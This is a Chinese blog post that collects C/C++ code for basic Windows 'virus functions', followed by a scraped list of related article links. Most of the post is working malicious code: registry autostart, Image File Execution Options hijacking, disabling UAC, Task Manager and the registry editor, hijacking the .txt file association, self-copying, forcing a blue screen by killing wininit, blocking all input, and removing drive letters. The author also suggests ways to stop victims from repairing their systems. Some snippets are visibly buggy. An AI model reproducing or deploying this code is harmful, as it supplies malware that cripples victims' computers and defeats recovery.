总结了几个 比较常见的、比较基础的病毒函数。高端的肯定是不会列在这里的。
温馨而又冰冷的提示: 严禁用于非法用途哦!!!!
前方高能,请做好心理准备。

<必备头文件:Windows.h>

1.电源类

这几个也没啥技术含量,但反复调用的杀伤力还是挺强的(开机瞬关)。

(1)注销
VOID Logoff(VOID)
{WinExec("logoff.exe",SW_HIDE);//或shutdown -l -t 0
}
(2)关机
VOID ShutdownNow(VOID)
{WinExec("shutdown -p",SW_HIDE);//-p是瞬间 关机 的意思,不是瞬间的意思
}
(2)重启
VOID Reboot(VOID)
{WinExec("shutdown -r -t 0",SW_HIDE);
}

如果真的要自己用函数写的话要用到ExitWindowsEx()。

(3)睡眠或休眠

这个没啥用,但还是写在这里。

VOID SystemSleep(WINBOOL bSuspend=TRUE,WINBOOL bForce=FALSE)
{                   //首参数TRUE睡眠,FALSE休眠
//调来权限HANDLE token = NULL;TOKEN_PRIVILEGES tp = { 0 };tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tp.Privileges[0].Luid);tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&token);AdjustTokenPrivileges(token,FALSE,&tp,sizeof(tp),NULL,NULL);CloseHandle(token);SetSystemPowerState(bSuspend,bForce); // 首参数TRUE睡眠,FALSE休眠
}

2.注册表类

这一类非常非常重要,掌握着军事大权,而且非常危险。。都是系统核心内容,比较费心。
注意:必须管理员权限!!
怎么获取它?可以见 这里

(1)开机自启

这个方法很多,详见 这里
举一种简单的(不简单的自己研究):

WINBOOL SettleBoot(LPCSTR keyname, //键值名,随便你LPCSTR fullName=_pgmptr, //默认值就是自己LPCSTR param=NULL)
{HKEY hKey; char str[280];//找到系统的启动项 LPCSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //打开启动项long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRun, 0, KEY_WRITE, &hKey); if(lRet == ERROR_SUCCESS) { if(param != NULL) //如果要用参数 {sprintf(str,"\"%s\" %s",fullname,param);}//添加一个子键,并设置值lRet = RegSetValueEx(hKey, keyname, 0, REG_SZ, (BYTE *)(param == NULL ? fullName : str), strlen(param == NULL ? fullName : str));//关之 RegCloseKey(hKey); if(lRet != ERROR_SUCCESS) { return false;} return true;}else{return false;}
}

呃. . .
能不能逃过 杀软的法眼 看运气,
但本文大部分函数下场都很惨。

没杀软才叫尽兴!!

(2)镜像劫持

这个有点恐怖了,毕竟还是很神奇的一个技术,
「移花接木」之大法。
还是听不懂的看 百科

不过有一些程序是绑不动的(亲试),例如mmc,iexplore.
上代码:

//我还是别用IFEO这个名称好,因为这简直是黑白颠倒:IFEO并不是镜像劫持的意思。
VOID ImageHijack(LPCSTR exe,LPCSTR real_exe)
{  //镜像劫持技术,第二个参数添实际运行对象//HKEY hkey;char str[280];sprintf(str,"REG ADD \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s\"  /v Debugger /t REG_SZ /d \"%s\" /f",exe,real_exe);
WinExec(str,SW_HIDE);return;
}

哦哈哈,把cmd绑了之后任何.bat都挂了。。。

我估计wscript和cscript不让绑,具体我也懒得试。

(3)关闭UAC

这个可能比较有用,在申请管理员权限的时候不再跳出框框,不再让用户抉择。

不过唯一的BUG,
就是右下角会弹出“重启计算机才能关闭用户账户控制”的消息,

为此我隐藏了任务栏,不过还是能凭空跳出来(尬)。。

只有重启才能生效哦!!

函数代码:

void CloseUAC(VOID)
{//须管理员权限 WinExec("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"ConsentPromptBehaviorAdmin\" /t REG_DWORD /d 0 /F",SW_HIDE);WinExec("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"EnableLUA\" /t REG_DWORD /d 0 /F",SW_HIDE);WinExec("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"PromptOnSecureDesktop\" /t REG_DWORD /d 0 /F",SW_HIDE);
}//关机后应用

三管齐下,相得益彰。一重启就可以为所欲为了!!!

(4)禁用任务管理器

很多用户弄不掉进程就开它,拿下面只一招把它毙了!
:D

VOID RegDisableTaskmgr(DWORD dwDisable=TRUE)
{HKEY hkey;DWORD v = dwDisable;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));RegCloseKey(hkey);
}

好!接着干!↓

(5)禁用注册表编辑器

使用注册表编辑器可以很方便地修改键值,把它封了还能逞吗?

VOID RegDisableRegedit(DWORD dwDisable=TRUE)
{HKEY hkey;DWORD v = dwDisable;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));RegCloseKey(hkey);
}


OK,于是用户开始网上求助。。发现有什么.inf安装恢复,还有啥.reg写上去恢复的,更有甚者打开gpedit.msc进行恢复的。。

像我的话我就会 “每隔4秒taskkill一次notepad,一次wordpad,每隔10秒删掉全盘所有.reg||.inf||.js||.vbs,加上随时检测标题为 '本地组策略编辑器’的窗口 如果有就蓝屏抗议” 的方法, 可能有点过分,这些方法任大家自由发挥。

(6)txt文件自启

这个也是必备的,不过我这里老是无效果,单独拿出来就好了。真是奇怪。

VOID TextFileBoot(LPCSTR Wholepath=_pgmptr,LPCSTR param=NULL)
{                        //默认值:notepad.exe %1 DWORD len;HKEY hkey;LPSTR str;if(param != NULL){sprintf(str,"\"%s\" %s",Wholepath,param);}len = strlen(param == NULL ? Wholepath : str);LPCSTR data_set = "txtfile\\shell\\open\\command";RegOpenKeyEx(HKEY_CLASSES_ROOT, data_set, 0, KEY_WRITE, &hkey);RegSetValueEx(hkey, NULL, NULL, REG_EXPAND_SZ, (unsigned char *)(param == NULL ? Wholepath : str), len);RegCloseKey(hkey);
}

一定要先打开notepad打幌子哦!!!

可以举一反三,把exe,vbs等全和自己连起来,达到条条大路跑病毒的效果。

3.其它技能

(1)自我复制

这个应该很常见,与(2)相搭配简直媲美!

提示:若要迁到C盘须管理员权限哦!

VOID CopyMyselfTo(LPCSTR lpTargetPath) {char tcBuf[MAX_PATH];GetModuleFileName(NULL,tcBuf,sizeof(tcBuf));CopyFile(tcBuf,lpTargetPath,FALSE);
}//这个函数哪里摘的我忘了,但我心存感激。
(2)自我删除

懒得写了,可以看看 别人的

。。凡是自我删除的都是有一些不稳定。。像我这个带多个参数的病毒就只能拜托副本了。

(3)互守(防杀)

这个东西反而让我的程序变得一塌糊涂。。不过还行。
可以试一下。。
链接

(4)蓝屏

通过暴力杀掉系统关机进程达到效果。

注意:须管理员权限!!

几个关键进程:lsass ,smss,csrss,winlogon(高版本不行),wininit,system 等等等。
不过能否杀了都蓝屏就不一定了。

这里用wininit做实验对象:

VOID BlueScreen(VOID)
{system("taskkill /im wininit.exe /f");
}

WinXP一定蓝屏的,win7可能可以。win10一定不行。
高版本的蓝屏有是有,但有点危险;你可以自己去别的地方找找看。

(5)黑屏(假的)

实则是关闭显示器,但和直接按显示屏的电源的区别是 可以晃鼠标唤醒!跟睡眠有点相似。
没啥用,不过可以吓吓人。

VOID BlackScreen(VOID)
{ //暂时黑屏 PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
}
(6)锁定鼠标

冻结鼠标的效果不言而喻:

VOID FreezeMouse(bool setPos=false, POINT pos={0,0})
{ //冻结鼠标!! RECT rect;if(setPos){rect.left = pos.x;rect.right = pos.x;rect.top = pos.y;rect.bottom = pos.y;ClipCursor(&rect);}else{POINT pt;GetCursorPos(&pt);rect.left = pt.x;rect.right = pt.x;rect.top = pt.y;rect.bottom = pt.y;ClipCursor(&rect);}
}

这个函数参数
不填或填false可以就地冻结;
填true和一个坐标可以冻在某个点上。(作)

附加解冻:

VOID UnfreezeMouse(VOID)
{ClipCursor(NULL);
}

该函数有个bug就是换个窗口就失效了。
这样的话可以换用持续设置鼠标坐标来达到冻结的效果。

(7)屏蔽输入

这个杀伤力还是很强的,如果要试的话别忘了几秒后再取消屏蔽。否则只能按机箱上的按钮重启了
需头文件 winable.h。
注意:GCC编译器是必须要包含Winable.h的,但较高版本的VC好像把winable.h移除了,把BlockInput()放到winuser.h里定义了。VC(例如使用Visual Studio)使用windows.h就行了

VOID FreezeInput(VOID)
{BlockInput(TRUE);
}VOID UnfreezeInput(VOID)
{BlockInput(FALSE);
}

可以试试。

(8)窗口毁容

我不知这是我这里天生的BUG还是怎么样,去除标题栏竟然有这般效果:
程序不崩,窗口弄成一个虚无的图形挂在桌面上,极易被刷新掉。
函数:

VOID DisfigureWindow(HWND hwnd)
{  //使窗口毁容!!!! LONG avatar=GetWindowLong(hwnd,0);avatar = avatar & ~WS_CAPTION;SetWindowLong(hwnd,GWL_STYLE,avatar);
}
(9)移动窗口

这个看起来没啥杀伤力,但配合GetForegroundWindow()起来不要太牛。

LONG GetWindowWidth(HWND hwnd=GetConsoleWindow()){RECT rect=GetWindowRect(hwnd);return (rect.right - rect.left);
}
LONG GetWindowHeight(HWND hwnd=GetConsoleWindow()){RECT rect=GetWindowRect(hwnd);return (rect.bottom - rect.top);
}
//简洁版,自动获取大小的重载
WINBOOL MoveWindow(HWND hwnd=GetConsoleWindow(),int X=0,int Y=0,bool bRepaint=true){LONG w,h;w=GetWindowWidth(hwnd);h=GetWindowHeight(hwnd);MoveWindow(hwnd,X,Y,w,h,bRepaint);
}
(10)消息的显示

病毒一般会显示几个恶心的消息,可以用下面几种方法:

①对话框

这个不讲了,太简单了,一般都是调用其他(例如自己的副本)来产生对话框,否则会阻塞的。
看这里吧

②托盘消息

封装一下就很好用了:
安装

//***WARNING***:NO MFC MACROS!!!!!#define IDR_MAINFRAME NULL#define WM_PROC WM_SHOWWINDOW//备注:我不是MFC,没有这俩,自己弄出来的,也没啥影响。。苟且偷生吧。
NOTIFYICONDATA SetupTray(HWND hwnd,LPCSTR label="Program")
{NOTIFYICONDATA m_nid;m_nid.cbSize=sizeof(NOTIFYICONDATA);// 结构大小m_nid.hWnd=hwnd;  // 接收 托盘通知消息 的窗口句柄m_nid.uID=IDR_MAINFRAME;                            m_nid.uFlags=NIF_MESSAGE;//表示uCallbackMessage 有效 m_nid.uCallbackMessage=WM_PROC; // 消息被发送到此窗口过程m_nid.hIcon=::LoadIcon(::GetModuleHandle(NULL),MAKEINTRESOURCE(IDR_MAINFRAME)); strcpy(m_nid.szTip,label);              // 提示文本WINBOOL res = Shell_NotifyIcon(NIM_ADD,&m_nid); return m_nid;
}

返回值要接住哦!↕

消息直达

WINBOOL TrayTip(NOTIFYICONDATA m_nid,LPCTSTR szMsg,LPCTSTR szTitle="TrayTip",DWORD dwInfoFlags=NIIF_INFO,UINT uTimeout=1000)
{ //Win7: Ballon style   Win10:  Metro stylem_nid.cbSize=sizeof(NOTIFYICONDATA);m_nid.uFlags = NIF_INFO;m_nid.uVersion = NOTIFYICON_VERSION;m_nid.uTimeout = uTimeout;m_nid.dwInfoFlags = dwInfoFlags;strcpy(m_nid.szInfo,szMsg ? szMsg : _T(""));strcpy(m_nid.szInfoTitle,szTitle ? szTitle : _T(""));return Shell_NotifyIcon(NIM_MODIFY, &m_nid);
}

把接住的东西放到首参数里,第二个是消息,第三个是标题,第四个是样式(自己Ctrl+Click看看),第五个是时长(单位ms)

卸载

WINBOOL UnloadTray(NOTIFYICONDATA m_nid)
{return Shell_NotifyIcon(NIM_DELETE,&m_nid);
}

再传这儿一下就好了。

(11)隐藏任务栏

一个ShowWindow就好了。

VOID HideTaskbar(VOID)
{ShowWindow(FindWindow("Shell_TrayWnd", NULL),SW_HIDE);
}
(12)篡改盘符

警告:慎用。要试也是在虚拟机里试。

BOOL DeleteDrive(LPCSTR SThide)
//篡改盘符       //填 C:  D:之类
{if (!DefineDosDevice(DDD_RAW_TARGET_PATH, SThide, "")) //把已有的盘符定义为空,导致无法访问磁盘return false;return true;
}

假如填C:
运行后刷新一下,发现整个桌面只剩Recycle Bin了,整个系统都瘫痪了

(13)按键

这个也说得过去,看上去不咋的,但你用用下面这个语句,会发现发生了奇怪的事情,除非按一下Ctrl.

keybd_event(VK_LCONTROL,0,0,0); //只按不放

按键详见 这里

参考文献

C语言编写简易病毒 https://blog.csdn.net/hbhgyu/article/details/77775926

Post Exploitation Using WMIC (System Command)https://www.hackingarticles.in/post-exploitation-using-wmic-system-command/)

windows程序托盘图标以及消息提示–示例程序https://blog.csdn.net/wangshubo1989/article/details/49533051

使用C语言让Windows睡眠/休眠
https://www.kechuang.org/t/82297

等。

C++基础病毒性函数汇总相关推荐

  1. Opencv的使用小教程1——Opencv基础函数汇总

    Opencv的使用小教程1--Opencv基础函数汇总 1.VideoCapture 2.imread 3.resize 4.clone 5.cvtColor 6.Scalar 7.获取像素点的值 8 ...

  2. string.h包含哪些函数_Excel进行数据分析常用方法及函数汇总—【杏花开生物医药统计】...

    Excel是数据分析工作中经常使用的一种工具,经常包含着大量的原始数据,它功能十分强大,除了能录入.整理数据之外,还能进行一些常规的基础的数据分析,那么这里面就需要用到很多函数,今天就来给大家介绍一些 ...

  3. MySQL创建字段+数据处理函数+汇总数据(聚集函数)+分组数据

    [0]README 0.1)本文部分文字描述转自"MySQL 必知必会",旨在review"MySQL创建字段+数据处理函数+汇总数据(聚集函数)+分组数据" ...

  4. python中函数的定义实例_Python基础之函数的定义与使用实例

    此文实例介绍了Python基础之函数的定义与使用.推荐给大伙学习一下,内容如下: Python 定义函数使用 def 关键字,一般格式如下: def 函数名(参数列表): 函数体 让我们使用函数来输出 ...

  5. python代码大全和用法用量_python零基础入门命令方式汇总大全,快速恶补你的Python基础...

    原标题:python零基础入门命令方式汇总大全,快速恶补你的Python基础 无意中浏览到这篇来自大牛的分享,总结的很全面,我重新排版下放在这里,希望能帮助到大家.在此十分感谢原作者! 在开始之前还是 ...

  6. laravel获取当前的url以及当前的基础域名方法汇总

    原文地址:https://phpartisan.cn/news/58.html 来源于:laravel获取当前的url以及当前的基础域名方法汇总 - Laravel学习网 laravel中我们常常需要 ...

  7. python基础函数及用法意思_Python基础之函数基本用法与进阶详解

    本文实例讲述了Python基础之函数基本用法与进阶.分享给大家供大家参考,具体如下: 目标 函数参数和返回值的作用 函数的返回值 进阶 函数的参数 进阶 递归函数 01. 函数参数和返回值的作用 函数 ...

  8. python基础代码大全-python零基础入门命令方式汇总大全,快速恶补你的Python基础...

    原标题:python零基础入门命令方式汇总大全,快速恶补你的Python基础 无意中浏览到这篇来自大牛的分享,总结的很全面,我重新排版下放在这里,希望能帮助到大家.在此十分感谢原作者! 在开始之前还是 ...

  9. C# 零基础入门知识点汇总

    C# 零基础入门 知识点汇总 前言 一,基础语法(1~10) 二,流程控制(11~20) 三,数组相关(21~30) 四,函数介绍(31~40) 五,类和对象(41~50) 六,面向对象(51~60) ...

  10. Hive内置函数与常用函数汇总

    目录 Hive内置函数汇总 字符函数(字符串操作) 数学函数 集合函数 类型转换函数 日期函数 条件函数 聚合函数 表生成函数 辅助功能类函数 数据屏蔽函数(从Hive 2.1.0开始) Hive常用 ...

最新文章

  1. 大型网站 linux,大型网站架构演变
  2. java-第七章-数组-循环输出
  3. Oracle10g备份集压缩新特性(Backupset Compression)
  4. [安全攻防进阶篇] 一.什么是逆向分析、逆向分析应用及经典扫雷游戏逆向
  5. 使用MRUnit测试Hadoop程序
  6. matlab生成exe独立运行文件已破解(好用)
  7. 【BZOJ4247】挂饰,又一个奇特的背包
  8. mysql all privilege权限
  9. 【MS SQL】通过执行计划来分析SQL性能
  10. C 类IP 地址,连接6 个子公司
  11. WIN7系统的虚拟机C盘扩容步骤
  12. 可爱符号可爱符号可爱符号
  13. NOIP 2015 简记
  14. 南卡和三星蓝牙耳机哪个戴着舒服?佩戴舒适的蓝牙耳机推荐
  15. 十分钟,让你了解DSP/DMP/SSP
  16. 第二课 IDEA 的使用
  17. Qt中几个函数的使用方法
  18. 使用exe4j打包Java桌面程序为exe
  19. 求求你!不要在网上乱拷贝代码了
  20. G2调整legend文字的字体颜色

热门文章

  1. Qt实现 员工培训管理系统
  2. PostMan中文插件支持8.12.2
  3. ICTCLAS 汉语词性标注集 中科院
  4. linux格式化命令,Linux怎么格式化磁盘啊?
  5. html网页对账单样式,结算对账单.html
  6. 工程师的爱情故事之1:大发明家
  7. Linux 上格式化ssd硬盘方法
  8. IDEA 打开窗口切换的快捷键
  9. 开发APP软件需要多少钱?
  10. hive -e/Hive -f 出现WARN问题